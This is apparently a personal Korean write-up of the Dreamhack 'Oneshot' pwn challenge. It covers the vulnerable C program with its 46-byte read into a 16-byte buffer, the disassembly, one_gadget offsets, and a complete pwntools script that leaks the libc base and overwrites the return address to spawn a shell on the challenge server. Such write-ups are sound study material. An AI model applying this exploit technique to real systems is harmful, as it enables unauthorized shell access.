← 전체 Write-Up

Pwn / Dreamhack

Oneshot

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

환경

Oneshot — 실습 화면 1

  • 64bit
  • Partial RELRO
  • NX ON
  • PIE ON

실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

분석

1. 취약점 분석

  1. msg 배열의 길이는 16바이트. 그러나 read() 함수로 46바이트나 입력받는다.
  2. NX 보호가 적용되어 있으므로 셸코드 사용은 불가.

2. 익스플로잇

스택 프레임 구조 파악

   0x0000000000000a91 <+80>:    lea    rax,[rbp-0x20]	// rax = msg
   0x0000000000000a95 <+84>:    mov    edx,0x2e		// edx = 46
   0x0000000000000a9a <+89>:    mov    rsi,rax		// rsi = msg
   0x0000000000000a9d <+92>:    mov    edi,0x0		// edi = 0
   0x0000000000000aa2 <+97>:    call   0x830 <read@plt>	// read(0, msg, 46)

   0x0000000000000aa7 <+102>:   cmp    QWORD PTR [rbp-0x8],0x0	// compare check, 0
   0x0000000000000aac <+107>:   je     0xab8 <main+119>		// check == 0이면 main+119로 jump
   0x0000000000000aae <+109>:   mov    edi,0x0
   0x0000000000000ab3 <+114>:   call   0x870 <exit@plt>

Oneshot — 실습 화면 2

one gadget

$ one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

첫 번째 gadget인 0x45216을 이용해서 익스플로잇 진행.


익스플로잇 코드

Oneshot — 실습 화면 3

check는 0보다 크면 프로그램이 종료되기 때문에 0을 넣어줬고 RET 자리에는 쉘을 띄울 수 있도록 one gadget을 넣었다.

from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = remote('host3.dreamhack.games', 13002)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')

one_gadget = 0x45216

p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
base = stdout - libc.symbols['_IO_2_1_stdout_']
one_gadget = base + one_gadget

slog("STDOUT" , stdout)
slog("base", base)
slog("one_gadget", one_gadget)

payload = b'A' * 24
payload += b'\\x00' * 8
payload += b'B' * 8
payload += p64(one_gadget)

p.sendafter("MSG: ", payload)

p.interactive()

결과

Oneshot — 실습 화면 4

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.

이미지 원본 출처